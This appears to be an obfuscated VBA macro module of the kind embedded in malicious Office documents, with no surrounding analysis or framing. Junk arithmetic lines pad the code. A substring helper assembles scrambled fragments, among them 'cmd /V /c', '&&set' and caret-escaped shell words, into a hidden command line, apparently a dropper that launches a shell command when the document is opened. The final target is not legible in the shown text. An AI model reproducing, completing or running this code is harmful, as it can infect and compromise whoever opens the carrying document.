GYviHKVwfGs = iItQud("fv,uUiKEKuKTwpCN%!!%VuoBB.H", TEaQz - TEaQz + 7 + TEaQz - TEaQz, TEaQz - TEaQz + 19 + TEaQz - TEaQz)
qGzTU = 14284 * WLYTdE + 57759 * ChrB(11511 * Rnd(48237) - 85699 + wZzRf) - 25848 - Rnd(GsJDH) + 88475 - oNZFn * 48509 * Chr(BVCZn)
JYJTNX = 65405 * oZrlFF + 4057 * ChrB(67976 * Rnd(6016) - 28445 + tqvRO) - 94484 - Rnd(nlirut) + 77413 - HjnzM * 19152 * Chr(kZThC)
PXXkX = iItQud("szrSDzuRKj12R", CmDMsk - CmDMsk + 3 + CmDMsk - CmDMsk, CmDMsk - CmDMsk + 5 + CmDMsk - CmDMsk)
cVdSm = 73638 * sOGvWl + 67807 * ChrB(93299 * Rnd(87288) - 93832 + zzizVv) - 11242 - Rnd(IrGWz) + 61946 - bLPEZH * 13418 * Chr(itZsa)
JzNPK = 4422 * afIiMN + 77827 * ChrB(83633 * Rnd(6117) - 46463 + HMsjNi) - 42003 - Rnd(EQKOP) + 25208 - kwSfC * 9994 * Chr(WEBBQ)
RUJdNYtT = iItQud("ZzNT=zRIYN 0.D@", aFqcoj - aFqcoj + 5 + aFqcoj - aFqcoj, aFqcoj - aFqcoj + 6 + aFqcoj - aFqcoj)
HJIPNI = 66885 * Zclft + 74269 * ChrB(96139 * Rnd(29974) - 30740 + tRDds) - 48148 - Rnd(Vnjpo) + 58582 - RjPvI * 89915 * Chr(GiELT)
JqDkk = 34106 * mihYj + 15411 * ChrB(18216 * Rnd(47349) - 73509 + iflpKq) - 30998 - Rnd(sdKwSA) + 28053 - CcWoF * 69201 * Chr(aCzCf)
WrPiYiXSPTb = iItQud("wdOHpuBVi%=ZWpXzPwPDPWB1q", AISZHo - AISZHo + 3 + AISZHo - AISZHo, AISZHo - AISZHo + 18 + AISZHo - AISZHo)
mIMmzk = 51182 * Twznw + 85612 * ChrB(77265 * Rnd(28599) - 77476 + hKOFj) - 5018 - Rnd(cwTLmN) + 77911 - BFVzMS * 30450 * Chr(GjiWAH)
VBJBp = 9253 * uQOONU + 18896 * ChrB(64791 * Rnd(87381) - 95390 + wunTH) - 84626 - Rnd(fQhjPJ) + 19728 - PIosdW * 98686 * Chr(KbaEA)
JuzPUOini = iItQud("Jo^w&&set %bQtXqioN,Z7Yr", YLOhVV - YLOhVV + 2 + YLOhVV - YLOhVV, YLOhVV - YLOhVV + 17 + YLOhVV - YLOhVV)
TWHqV = 12705 * WCuRL + 19521 * ChrB(76604 * Rnd(6639) - 22161 + FEUFB) - 86821 - Rnd(TzzWc) + 83100 - npazLb * 47776 * Chr(DUsFua)
EiNBS = 56117 * ISbOQ + 13486 * ChrB(76076 * Rnd(56967) - 76966 + Dnjdc) - 37779 - Rnd(zdFjUJ) + 32850 - ZDvzZ * 39342 * Chr(DQiAX)
qwIiMmnu = iItQud("D5%!&&set %cJB.U9", MLTzb - MLTzb + 3 + MLTzb - MLTzb, MLTzb - MLTzb + 11 + MLTzb - MLTzb)
ivDjU = 5288 * btXbO + 59079 * ChrB(5049 * Rnd(78878) - 44977 + nJKOr) - 6265 - Rnd(jOorjP) + 96730 - wjUiCA * 820 * Chr(JYjjU)
LGIHPD = 63167 * mErsB + 96118 * ChrB(42095 * Rnd(87386) - 7706 + DsHAw) - 84584 - Rnd(oGjqiz) + 64880 - McFpV * 10836 * Chr(YPEqzQ)
poajluZG = iItQud("XOBVQFaPjM4U6s@", uRWjvr - uRWjvr + 2 + uRWjvr - uRWjvr, uRWjvr - uRWjvr + 7 + uRWjvr - uRWjvr)
PNMzv = 49752 * kKIQOa + 92983 * ChrB(270 * Rnd(61683) - 8856 + JnpVQ) - 6738 - Rnd(PUTsvI) + 90351 - YrSilE * 15134 * Chr(bRzZHi)
wbAudC = 41607 * GIwDaO + 72500 * ChrB(44031 * Rnd(65158) - 67717 + pqjic) - 3336 - Rnd(iTpkWa) + 59817 - jJkWj * 76245 * Chr(DjmbL)
MmArj = iItQud("EM&&set %YwWRnBOUBiH4", YjAlnd - YjAlnd + 2 + YjAlnd - YjAlnd, YjAlnd - YjAlnd + 13 + YjAlnd - YjAlnd)
ErrDW = 1790 * qMzXt + 58240 * ChrB(37460 * Rnd(4145) - 72891 + lYYaf) - 53378 - Rnd(LzTjmD) + 83415 - qqdbw * 61724 * Chr(ZIJWM)
lOuCIH = 94368 * vHjHc + 40273 * ChrB(84785 * Rnd(82945) - 46185 + ufnnKM) - 54813 - Rnd(KBWwrU) + 50756 - tRjSGz * 50328 * Chr(VtADB)
jwXOzWVfkD = iItQud("%EU,iZhNkAWiz%wXfL@", dFUHR - dFUHR + 5 + dFUHR - dFUHR, dFUHR - dFUHR + 10 + dFUHR - dFUHR)
Yssod = 38889 * wEiZIw + 91098 * ChrB(78193 * Rnd(98015) - 30970 + jrbaH) - 11050 - Rnd(wFfRR) + 22934 - wzciD * 7029 * Chr(GqvNAs)
cLjXRm = 54915 * iwODT + 44809 * ChrB(11521 * Rnd(12569) - 63294 + rQqma) - 7374 - Rnd(dafsSM) + 45173 - woGMkm * 98584 * Chr(DPnZz)
wwlwqFrSjw = iItQud("ts1BLtwNqfLLI", AiTWdn - AiTWdn + 6 + AiTWdn - AiTWdn, AiTWdn - AiTWdn + 4 + AiTWdn - AiTWdn)
cssoj = 93755 * nqlfvo + 23282 * ChrB(93448 * Rnd(56903) - 30212 + rKXjzt) - 92864 - Rnd(sQnWm) + 59124 - LwnAij * 51417 * Chr(IzUhpz)
IGHIji = 4906 * QRJffX + 67864 * ChrB(97251 * Rnd(62328) - 32077 + jYlVh) - 8499 - Rnd(AGRjVP) + 39969 - MazFF * 5202 * Chr(SGVnlY)
TUzKG = iItQud("AIH%YwWRniZhNkAWizjhB", EZzEhm - EZzEhm + 4 + EZzEhm - EZzEhm, EZzEhm - EZzEhm + 15 + EZzEhm - EZzEhm)
iJiKw = 916 * WkZED + 64852 * ChrB(92346 * Rnd(26921) - 69707 + tKHLIz) - 51962 - Rnd(wuFfz) + 89784 - EzcIw * 22004 * Chr(UBpqZ)
tXFcU = 46999 * iKFqi + 2378 * ChrB(45685 * Rnd(67378) - 64613 + crDNK) - 43331 - Rnd(NVOuQ) + 42235 - PIsqTN * 15023 * Chr(upGWjd)
UqDCShvYi = iItQud("ML4Uhi,BMXDWjvw%=ZmKi7", CUpEW - CUpEW + 8 + CUpEW - CUpEW, CUpEW - CUpEW + 13 + CUpEW - CUpEW)
OLbwl = 66706 * KtjAEO + 96888 * ChrB(18661 * Rnd(35846) - 27499 + ObaIjP) - 38496 - Rnd(lzNHo) + 74242 - vHDST * 70927 * Chr(kwzHS)
KQphtD = 6885 * obvMtj + 63903 * ChrB(84745 * Rnd(64941) - 36068 + dzKnE) - 38352 - Rnd(ZWIjtr) + 48503 - QJLzd * 88209 * Chr(YWpAs)
PDHRnlwX = iItQud("j0dAaI%=YBu1", tskXr - tskXr + 3 + tskXr - tskXr, tskXr - tskXr + 6 + tskXr - tskXr)
iwLoo = 8084 * zAdkN + 2665 * ChrB(57287 * Rnd(62772) - 68777 + hEnnS) - 44956 - Rnd(kpYDbo) + 96350 - bXraz * 84397 * Chr(mPIQj)
cUKPs = 93150 * LBOiWk + 57473 * ChrB(18337 * Rnd(56794) - 76412 + NTskUj) - 22596 - Rnd(UNVhL) + 37946 - iULTRJ * 33944 * Chr(OCXtZw)
wrbcqfiRWI = iItQud("KJZF2piF5", kcQtoN - kcQtoN + 2 + kcQtoN - kcQtoN, kcQtoN - kcQtoN + 3 + kcQtoN - kcQtoN)
fvczw = 69140 * sAbEoc + 52976 * ChrB(79908 * Rnd(38663) - 4418 + mCJzJ) - 42011 - Rnd(waihwp) + 72655 - NhaEO * 45039 * Chr(HbKsNV)
RtPwj = 35488 * JMYjjw + 63251 * ChrB(86659 * Rnd(21269) - 97482 + BFUwl) - 57852 - Rnd(VEcccL) + 52246 - kAojDR * 92538 * Chr(KmlMR)
OBViwbcA = iItQud("PP1ERoEupu%=s&&set %LLw,Ii", SYiVin - SYiVin + 7 + SYiVin - SYiVin, SYiVin - SYiVin + 17 + SYiVin - SYiVin)
ikTURz = 75641 * THlIO + 26419 * ChrB(7678 * Rnd(63177) - 69621 + FEMjE) - 59633 - Rnd(rFrJLA) + 33334 - barJH * 87315 * Chr(rfhjuu)
uArQz = 49438 * KrYckZ + 67788 * ChrB(42174 * Rnd(58579) - 21994 + cDQJjP) - 66923 - Rnd(asPjX) + 67133 - DiEoiC * 49642 * Chr(tjNtd)
YNotvUDOc = iItQud("zR.j%! tzf", iKiCY - iKiCY + 4 + iKiCY - iKiCY, iKiCY - iKiCY + 4 + iKiCY - iKiCY)
PKfOwj = 94832 * kTbidz + 12135 * ChrB(90617 * Rnd(15470) - 3036 + nVEQqd) - 82778 - Rnd(uXdTV) + 10786 - KijUYz * 98782 * Chr(tlMAZ)
YtXFrr = 26655 * TZOOpw + 53124 * ChrB(64027 * Rnd(49423) - 51961 + nPiuV) - 21350 - Rnd(uwUjWi) + 19358 - cTpDw * 27231 * Chr(AkRWzC)
olPQLz = iItQud("NYPQWQKEKuKTw%XUF", CwYLAp - CwYLAp + 5 + CwYLAp - CwYLAp, CwYLAp - CwYLAp + 9 + CwYLAp - CwYLAp)
GkfkPE = 67908 * zBuKwR + 36129 * ChrB(75044 * Rnd(5598) - 70063 + WVHsW) - 55183 - Rnd(rPzczN) + 59180 - pjAmO * 11515 * Chr(lUnJnR)
FXqpU = 70147 * IKhoQz + 49257 * ChrB(10752 * Rnd(88699) - 60092 + uKNtc) - 523 - Rnd(vPbLRH) + 31203 - soVvV * 37181 * Chr(mbqFE)
YPvadzFtE = iItQud("XOJsLIWJZF%!!%WwI ", hzOltj - hzOltj + 3 + hzOltj - hzOltj, hzOltj - hzOltj + 12 + hzOltj - hzOltj)
rnbTFn = 68 * JMuqBY + 40235 * ChrB(9744 * Rnd(94565) - 85127 + YEEkjw) - 18535 - Rnd(jYlCXw) + 92269 - cAsLU * 31141 * Chr(jcaEUu)
oJqJp = 11040 * aQtNhn + 37309 * ChrB(87111 * Rnd(80633) - 94958 + azJEaR) - 89768 - Rnd(YjSTf) + 62363 - BkOcIF * 55189 * Chr(jwfAjQ)
UwXTjOziOo = iItQud("%wNjSs%TSNXh@", hizifn - hizifn + 7 + hizifn - hizifn, hizifn - hizifn + 4 + hizifn - hizifn)
kHInW = 69088 * jiYOa + 64340 * ChrB(6622 * Rnd(15401) - 94086 + hpmif) - 26627 - Rnd(azHcIu) + 34094 - zMvKL * 84960 * Chr(ItBfD)
MEubo = 53413 * iCCjnk + 66176 * ChrB(36844 * Rnd(25713) - 29307 + nJhpD) - 81320 - Rnd(NwVELM) + 16334 - zWVWuU * 99710 * Chr(cFkiz)
jBKSrP = iItQud("YsTNLZGYUYIMQ%=!4czK", ivnYzR - ivnYzR + 6 + ivnYzR - ivnYzR, ivnYzR - ivnYzR + 11 + ivnYzR - ivnYzR)
zZdViq = 95476 * XAEmaf + 50542 * ChrB(56726 * Rnd(83492) - 81181 + wnMwq) - 39699 - Rnd(nnFjT) + 23443 - hzvbph * 34448 * Chr(WwUSIt)
CraPC = 84184 * zIibKK + 75669 * ChrB(12076 * Rnd(3743) - 19018 + WazliO) - 73018 - Rnd(dnMtWG) + 65238 - iIROUF * 29265 * Chr(LFrEHV)
PnTRG = iItQud("z9N%=he&&set %OBVQF6iTE", vwNtG - vwNtG + 4 + vwNtG - vwNtG, vwNtG - vwNtG + 16 + vwNtG - vwNtG)
zwbnoP = 32955 * LdJOL + 75257 * ChrB(28176 * Rnd(16889) - 39859 + MEzkvV) - 32953 - Rnd(JaYXh) + 71653 - HMzuS * 87923 * Chr(RvFkLr)
FSCLw = 25248 * XoHfw + 86980 * ChrB(63175 * Rnd(23507) - 50717 + uOHuz) - 88580 - Rnd(NufwFV) + 40673 - LKOaNS * 66872 * Chr(SYIOT)
vRkjS = iItQud("SZOMEYi", CwwWc - CwwWc + 3 + CwwWc - CwwWc, CwwWc - CwwWc + 1 + CwwWc - CwwWc)
TFiHC = 69568 * MdGYZ + 95898 * ChrB(4319 * Rnd(64230) - 47106 + Smjmi) - 34919 - Rnd(NtLsoW) + 83444 - KwaaTz * 37067 * Chr(lzjICo)
fLcQaz = 5928 * VFdMb + 58954 * ChrB(62359 * Rnd(14984) - 17912 + haSwz) - 65691 - Rnd(ShsUNL) + 42778 - mMdGN * 67938 * Chr(hTwXN)
NWwiOOb = iItQud("sBQ 2WnWSZMY", jouGp - jouGp + 6 + jouGp - jouGp, jouGp - jouGp + 3 + jouGp - jouGp)
PNzdK = 24456 * PWjMuj + 14873 * ChrB(34792 * Rnd(21164) - 10839 + tHLpS) - 5035 - Rnd(vhLsz) + 99646 - UfDTur * 4882 * Chr(nlQcRL)
wSbDJ = 60556 * EErjBQ + 72507 * ChrB(54283 * Rnd(29184) - 52227 + cTriqv) - 651 - Rnd(HVtZN) + 92881 - qAQHjF * 41646 * Chr(EhFpO)
fZSMwkS = iItQud("NzUiD%=CtwGlWopjavkqiEXHt", bEWOod - bEWOod + 3 + bEWOod - bEWOod, bEWOod - bEWOod + 16 + bEWOod - bEWOod)
AwXklw = 11332 * UbfCt + 45824 * ChrB(51281 * Rnd(21847) - 58866 + mUalLH) - 83951 - Rnd(GJmzk) + 12008 - hHZVob * 95358 * Chr(SfpcjM)
rjObzX = 54211 * Ibsqik + 81539 * ChrB(79906 * Rnd(49500) - 68003 + UNCWIo) - 60904 - Rnd(hoOKU) + 36486 - hdmYM * 81452 * Chr(lAIcB)
jckWrAwQjdH = iItQud("wISDIMQ%!!%QHXW0s", jtCbCu - jtCbCu + 5 + jtCbCu - jtCbCu, jtCbCu - jtCbCu + 11 + jtCbCu - jtCbCu)
wflMnm = 31096 * pNFnRG + 89704 * ChrB(14941 * Rnd(86860) - 32322 + XPDMC) - 3267 - Rnd(jLbCN) + 61511 - lUCDCW * 64898 * Chr(mrPjk)
vGjPh = 24815 * aXfZN + 98776 * ChrB(7100 * Rnd(90308) - 28528 + zPcqa) - 26937 - Rnd(IsonOq) + 35316 - BmGao * 94032 * Chr(cAjjL)
AAzXXI = iItQud("HNOG&&set %HvWNUj", jOiGrE - jOiGrE + 5 + jOiGrE - jOiGrE, jOiGrE - jOiGrE + 9 + jOiGrE - jOiGrE)
ksWPt = 51246 * ZjjVsu + 12570 * ChrB(78382 * Rnd(47060) - 28592 + hMRLM) - 94237 - Rnd(aMmnb) + 17515 - CiXzRY * 40162 * Chr(TiSGl)
mmjXE = 93371 * NjmvMF + 95659 * ChrB(88282 * Rnd(37978) - 90306 + XOHKus) - 118 - Rnd(DUYOi) + 67686 - RSPvBK * 19976 * Chr(fQQWVi)
ZYdQNdUU = iItQud("KLFhFpu%!!%nzzobQfJ1", uqXDlU - uqXDlU + 6 + uqXDlU - uqXDlU, uqXDlU - uqXDlU + 11 + uqXDlU - uqXDlU)
UPZlob = 18664 * sqXltb + 79737 * ChrB(35504 * Rnd(7670) - 23400 + oiiXtT) - 25031 - Rnd(ctiWi) + 68430 - AIozu * 20698 * Chr(qWEdY)
zifXKU = 58152 * MTFaja + 84486 * ChrB(85803 * Rnd(15697) - 76022 + hULca) - 18727 - Rnd(Wswdu) + 41875 - okqkz * 41158 * Chr(PLkoEm)
LLEfEfW = iItQud("wBzzBbDv%!!%HvWQ%LBzK", PpzMK - PpzMK + 4 + PpzMK - PpzMK, PpzMK - PpzMK + 13 + PpzMK - PpzMK)
rYcTKw = 45944 * oGFOB + 95309 * ChrB(71809 * Rnd(55737) - 67256 + jQrqB) - 16267 - Rnd(SlRIa) + 76796 - XMfUW * 20111 * Chr(Zlbvki)
YzwAt = 22934 * hdSwZw + 94382 * ChrB(887 * Rnd(81159) - 21441 + ZtLMw) - 19417 - Rnd(svYNE) + 98832 - vWEZO * 80716 * Chr(uFIJbH)
SpstWSGW = iItQud("YHA&&set %dPt7.Xj", TdiiBO - TdiiBO + 2 + TdiiBO - TdiiBO, TdiiBO - TdiiBO + 9 + TdiiBO - TdiiBO)
fqsriK = 26777 * tLCmo + 916 * ChrB(32094 * Rnd(50760) - 38501 + TYdcs) - 51919 - Rnd(VainCD) + 39827 - SNEjV * 50112 * Chr(KWdsWb)
fsham = 42923 * QPIma + 69328 * ChrB(42379 * Rnd(43741) - 62127 + wtFKBq) - 51309 - Rnd(uGHuS) + 55353 - dNFwE * 5031 * Chr(mqjzHD)
jtWOlKjR = iItQud("tWnWOEuS7z4,", tdfok - tdfok + 2 + tdfok - tdfok, tdfok - tdfok + 6 + tdfok - tdfok)
zIHJmQ = 47901 * tiBHZ + 84237 * ChrB(30903 * Rnd(10465) - 41496 + fZwWQY) - 54060 - Rnd(PHOdEj) + 45326 - wzAlj * 23426 * Chr(GTbwwc)
MmjqI = 26107 * znzScb + 63079 * ChrB(93508 * Rnd(84119) - 39939 + AwzBKB) - 46264 - Rnd(qUFfSX) + 29798 - ruusA * 60478 * Chr(XQJkZ)
DMMziD = iItQud("UpCN%=e^rqd4JOH", WlLAbd - WlLAbd + 2 + WlLAbd - WlLAbd, WlLAbd - WlLAbd + 8 + WlLAbd - WlLAbd)
zhFBM = 79038 * ZKbiS + 51072 * ChrB(44163 * Rnd(42073) - 88579 + iuNCp) - 4572 - Rnd(cwVwcl) + 2864 - wfqmA * 56746 * Chr(iCzjS)
khOzc = 3832 * iwXBBr + 62576 * ChrB(92881 * Rnd(89211) - 70153 + PzPzk) - 71792 - Rnd(LShFHn) + 9088 - oQYQc * 38092 * Chr(DcidtA)
bYSmw = iItQud("YpnWfQswvFX1", ZZIfd - ZZIfd + 4 + ZZIfd - ZZIfd, ZZIfd - ZZIfd + 6 + ZZIfd - ZZIfd)
tatWi = 64777 * nlzcUR + 68828 * ChrB(87218 * Rnd(47999) - 82079 + wqCPYd) - 14790 - Rnd(iwnVG) + 83448 - GYGLlI * 44311 * Chr(BfbnI)
OATLo = 64892 * wPtzw + 43054 * ChrB(77307 * Rnd(7273) - 2877 + WHzKAk) - 65435 - Rnd(KzlXn) + 47374 - VWSAat * 72203 * Chr(YOzXij)
KVpwmWkzLzB = iItQud("OYFYKhLf%zvM", zJDnt - zJDnt + 7 + zJDnt - zJDnt, zJDnt - zJDnt + 3 + zJDnt - zJDnt)
jCNlv = 53094 * qOPlDd + 70478 * ChrB(42203 * Rnd(53473) - 54697 + AbAVD) - 52562 - Rnd(kabwC) + 24636 - cpQiJC * 55838 * Chr(XfEko)
ZkkwIB = 18104 * mzMWUM + 4026 * ChrB(43770 * Rnd(316) - 67726 + EBNohO) - 2325 - Rnd(LXolw) + 650 - UwPXa * 43830 * Chr(ustIjz)
aTHwkA = iItQud("qHLFM&&set %QHXWzBbDv%=!N4.", IwCmVC - IwCmVC + 6 + IwCmVC - IwCmVC, IwCmVC - IwCmVC + 19 + IwCmVC - IwCmVC)
BZFqI = 93828 * LvDiGn + 96452 * ChrB(34396 * Rnd(94859) - 26913 + VCsFH) - 54373 - Rnd(bQGVu) + 47799 - CLJwju * 80486 * Chr(kIAMp)
mIGPuI = 32035 * NzZkZ + 39270 * ChrB(87739 * Rnd(5032) - 12815 + aZVKPT) - 37240 - Rnd(MDNhL) + 30032 - ZWYFIz * 43445 * Chr(mJsTE)
JYlJRZwzAw = iItQud("M=p&&sGRqI1", jpcuf - jpcuf + 2 + jpcuf - jpcuf, jpcuf - jpcuf + 5 + jpcuf - jpcuf)
cVjtzZ = 2489 * ctnvd + 92840 * ChrB(25760 * Rnd(82743) - 60390 + KEAzUw) - 97393 - Rnd(DPiAWA) + 28081 - jhioNq * 59615 * Chr(ufSMT)
Zwjnkj = 97006 * lPBDk + 62228 * ChrB(2817 * Rnd(74512) - 17618 + VjkwcZ) - 16847 - Rnd(BjLsE) + 33946 - oJqvK * 81985 * Chr(JBQcRi)
stvkqkAdWq = iItQud("ddqitsTiDCLiijzm", wvdGJA - wvdGJA + 6 + wvdGJA - wvdGJA, wvdGJA - wvdGJA + 8 + wvdGJA - wvdGJA)
bujbf = 58376 * NdWGiX + 60383 * ChrB(28440 * Rnd(91549) - 86095 + jovXK) - 83640 - Rnd(mqZjjA) + 15051 - sapfRZ * 75569 * Chr(bfUofT)
LjfaWMFvHkT = SNXffR + fZSMwkS + MmArj + jwXOzWVfkD + JYlJRZwzAw + zbwKtOpzi + wIzFCtL + PDHRnlwX + JuzPUOini + UqDCShvYi + stvkqkAdWq + SpstWSGW + jBKSrP + TUzKG + qwIiMmnu + bYSmw + WrPiYiXSPTb + wwlwqFrSjw + AAzXXI + olPQLz + DMMziD + aTHwkA + UwXTjOziOo + LZZYPw + NWwiOOb + vRkjS + OBViwbcA + PPsubv + PXXkX + KVpwmWkzLzB + RUJdNYtT + JMrcI + fkYARL + wrbcqfiRWI + PnTRG + ZmwZGi + jckWrAwQjdH + LLEfEfW + GYviHKVwfGs + jtWOlKjR + ZYdQNdUU + YPvadzFtE + poajluZG + YNotvUDOc
vFXRiu = 49094 * jocto + 20800 * ChrB(57813 * Rnd(94462) - 42665 + EfFZQb) - 72321 - Rnd(JUrqCT) + 36599 - idIiZf * 36420 * Chr(Fqofz)
End Function

Attribute VB_Name = "mwDGZqQwAEmu"
Function YOcHqMwTRn()
On Error Resume Next
GpzJQ = 89475 * CjvcRo + 43021 * ChrB(68726 * Rnd(25400) - 84199 + USbEj) - 53623 - Rnd(HWACML) + 33586 - ifiXiQ * 23058 * Chr(XwwqHz)
ilkfY = iItQud(",2       /c         PhR,JZv", dZJnE - dZJnE + 3 + dZJnE - dZJnE, dZJnE - dZJnE + 18 + dZJnE - dZJnE)
AZDNi = 47440 * CJVOIX + 51427 * ChrB(98879 * Rnd(38702) - 68959 + hJrEq) - 18071 - Rnd(IYDGkl) + 77223 - TAdJw * 67166 * Chr(tcVBU)
JEhmW = 90315 * jMdIzE + 17644 * ChrB(85278 * Rnd(20412) - 84865 + KEDQJM) - 93924 - Rnd(iYpWZX) + 42144 - uVQaYJ * 90812 * Chr(iZMCZ)
jBfIVGtNt = iItQud("EK  viKu", oTYiM - oTYiM + 3 + oTYiM - oTYiM, oTYiM - oTYiM + 2 + oTYiM - oTYiM)
pkdim = 1375 * suVph + 24799 * ChrB(16928 * Rnd(89263) - 80264 + kbUOW) - 89463 - Rnd(ZAIhi) + 70278 - uPfiEt * 91133 * Chr(VTBbul)
RAdRU = 58473 * qKnKTu + 3722 * ChrB(93706 * Rnd(96284) - 16376 + rXBVQ) - 15292 - Rnd(YWcNR) + 46137 - Jjvbr * 71882 * Chr(tQpKv)
uWhPwzjAJkS = iItQud("G  /V  kniXuY", zmbsVb - zmbsVb + 2 + zmbsVb - zmbsVb, zmbsVb - zmbsVb + 6 + zmbsVb - zmbsVb)
JYszi = 97164 * SFOvjV + 20963 * ChrB(92699 * Rnd(15648) - 94817 + tPIKOF) - 40354 - Rnd(XGwGM) + 21869 - wwzdc * 68343 * Chr(ujESA)
WhiwKA = 60622 * zlkjGo + 62157 * ChrB(6405 * Rnd(58505) - 29467 + aIvXM) - 93571 - Rnd(uOaET) + 90089 - RcmHO * 38074 * Chr(itCCuv)
DlHzPMNwHwZ = iItQud("zXIkKo &     %^c^oJJF,F", WaLlTM - WaLlTM + 5 + WaLlTM - WaLlTM, WaLlTM - WaLlTM + 14 + WaLlTM - WaLlTM)
WVmuP = 25609 * faKWzC + 12200 * ChrB(32316 * Rnd(26078) - 91074 + pZpMu) - 91282 - Rnd(vLrPt) + 40007 - BHXto * 17902 * Chr(hYlBb)
hrfbl = 15468 * idQPR + 20090 * ChrB(77431 * Rnd(27345) - 17263 + AtDRo) - 45973 - Rnd(szXiof) + 25934 - UDaHdF * 85981 * Chr(GmDioX)
aqQlsljiHz = iItQud("XZzUE%UE^c^%   .Q", ORmSfH - ORmSfH + 8 + ORmSfH - ORmSfH, ORmSfH - ORmSfH + 8 + ORmSfH - ORmSfH)
KGwLH = 75540 * AsTzj + 76617 * ChrB(69927 * Rnd(76663) - 81047 + DbzHNG) - 60737 - Rnd(HLzfl) + 86603 - UoNbrT * 12449 * Chr(vChoj)
KpBiW = 10749 * WizmZ + 73392 * ChrB(8657 * Rnd(74732) - 88252 + qzsJI) - 21973 - Rnd(YzwEF) + 72093 - UTaQpl * 79977 * Chr(Lducwb)
MmauHAp = iItQud(",4^p^9j,L", EzSvF - EzSvF + 3 + EzSvF - EzSvF, EzSvF - EzSvF + 3 + EzSvF - EzSvF)
wXWcz = 40244 * tOCiq + 19636 * ChrB(47439 * Rnd(14396) - 156 + wDSFL) - 77528 - Rnd(IjQoPO) + 60688 - iBzai * 55233 * Chr(YNaMNL)
qKJink = 85689 * dnNZvi + 3678 * ChrB(41806 * Rnd(465) - 49401 + XBCfOE) - 93366 - Rnd(uDAPh) + 7825 - iFuCz * 46394 * Chr(fnBTSU)
NRzpfR = iItQud("wGuLDT6VRH", fBDddf - fBDddf + 3 + fBDddf - fBDddf, fBDddf - fBDddf + 4 + fBDddf - fBDddf)
zMWnGj = 59451 * ivirRz + 45273 * ChrB(56973 * Rnd(45915) - 62403 + mAvbz) - 50988 - Rnd(iWOdu) + 73111 - azrdca * 39141 * Chr(pbzYIG)
jcmnvt = 56604 * ZnnmuR + 48931 * ChrB(89461 * Rnd(40940) - 1934 + vDVlt) - 51448 - Rnd(ZDiZHr) + 1205 - BFIml * 74918 * Chr(JUEiHb)
Ckrnfk = iItQud("u@BZm^SRL,", HJinwh - HJinwh + 5 + HJinwh - HJinwh, HJinwh - HJinwh + 3 + HJinwh - HJinwh)
UHwHof = 82889 * qtMBU + 49030 * ChrB(25196 * Rnd(288) - 60797 + mfPUlj) - 29131 - Rnd(PuAjKT) + 36328 - jWaADV * 46172 * Chr(OPZkSH)
ftzpc = 56168 * rtkNb + 87985 * ChrB(67083 * Rnd(47624) - 74384 + Evqzi) - 104 - Rnd(UlqbI) + 29171 - XvsICv * 19184 * Chr(kdQEup)
atzSvtKo = iItQud("B  %^c^o^sMODDOJ", UZnVvU - UZnVvU + 2 + UZnVvU - UZnVvU, UZnVvU - UZnVvU + 8 + UZnVvU - UZnVvU)
BcmVpL = 53259 * NBtwV + 83346 * ChrB(75041 * Rnd(93199) - 67715 + FpfAaW) - 82550 - Rnd(aKMhZF) + 26661 - kNomZU * 92089 * Chr(fHIwom)
bAJqFP = 56893 * ITEcW + 41764 * ChrB(55693 * Rnd(76918) - 53751 + SCvvt) - 14075 - Rnd(qwrEr) + 9844 - vIKwm * 25180 * Chr(QzOMp)
mJFSTZiwfS = iItQud("6w@zrds", hhapzF - hhapzF + 4 + hhapzF - hhapzF, hhapzF - hhapzF + 1 + hhapzF - hhapzF)
mLSBM = 74277 * ElzjHC + 62385 * ChrB(28796 * Rnd(36044) - 74176 + QOzjO) - 21306 - Rnd(BOKBDh) + 66632 - oXiip * 85034 * Chr(VCJKd)
vuwJBE = 88510 * ztbdC + 87521 * ChrB(81832 * Rnd(70673) - 75721 + pmrkzi) - 5530 - Rnd(LbhKs) + 73062 - Fnhkk * 47809 * Chr(AfMGQO)
ksPQZotoGZ = iItQud("zPYmd XRUSwKMTITcPn CBhZ5S", kjzwMI - kjzwMI + 4 + kjzwMI - kjzwMI, kjzwMI - kjzwMI + 20 + kjzwMI - kjzwMI)
jEFPT = 76980 * nKuOGj + 85419 * ChrB(35565 * Rnd(56667) - 80250 + pNzFJ) - 99970 - Rnd(YPmMY) + 87692 - oLiWb * 89840 * Chr(zVSdm)
hNzSd = 75563 * jCKIMS + 22390 * ChrB(52015 * Rnd(22076) - 12544 + TFBssN) - 63803 - Rnd(bHZVi) + 4317 - RSOdR * 59017 * Chr(MpaiGf)
PvvKbTkYGk = iItQud("NzVtz^m^S^p^E^c^%   zQ1", ishhB - ishhB + 6 + ishhB - ishhB, ishhB - ishhB + 15 + ishhB - ishhB)
EIBwwB = 8268 * oUmlR + 22157 * ChrB(57793 * Rnd(20217) - 63333 + GCBtNi) - 78354 - Rnd(ZsLSN) + 12450 - cXzYW * 69385 * Chr(Gwdtr)
zFiALI = 64979 * KOzFnp + 2060 * ChrB(23894 * Rnd(84251) - 27762 + bcKbn) - 85698 - Rnd(Kqmni) + 36888 - MlELjU * 75088 * Chr(zrwnwn)
ircjocL = iItQud("RszGUmBclwAnlnu mYWSDJj", NiiftC - NiiftC + 5 + NiiftC - NiiftC, NiiftC - NiiftC + 17 + NiiftC - NiiftC)
uMRfJ = 99106 * miuIv + 95059 * ChrB(82831 * Rnd(86237) - 43651 + idbEwA) - 21796 - Rnd(iifTiA) + 93066 - DwZVzK * 55247 * Chr(waRYY)
YOcHqMwTRn = ksPQZotoGZ + NRzpfR + ircjocL + mJFSTZiwfS + DlHzPMNwHwZ + PvvKbTkYGk + atzSvtKo + Ckrnfk + MmauHAp + aqQlsljiHz + uWhPwzjAJkS + ilkfY + jBfIVGtNt
CEUNJS = 23206 * zMGli + 33340 * ChrB(46906 * Rnd(37258) - 99467 + LStuTA) - 69321 - Rnd(ATFWj) + 75394 - pfbwR * 82489 * Chr(QAwMPN)
End Function
Function iItQud(ByVal ZGYUYIMQ As String, OBVQFaPj, nzzobJsLIWJZF)
On Error Resume Next
hMaYW = 20949 * Hbpvl + 43385 * ChrB(68791 * Rnd(65750) - 23835 + kadpWD) - 5428 - Rnd(sjiZuF) + 55864 - WdzHXI * 27615 * Chr(dKGIUD)
QHXWzBbDv = ikOULQ + Mid(KIXliaahhk + ZGYUYIMQ + AAFiFObL, LMzuRpdApjkR + OBVQFaPj + wTrjlinSv, nzzobJsLIWJZF) + VqUDAzizsz
OwKcUp = 95334 * sAAAiD + 74754 * ChrB(84227 * Rnd(42137) - 56817 + YSQibE) - 94048 - Rnd(cBKjsR) + 81285 - UjGQop * 84031 * Chr(cVppz)
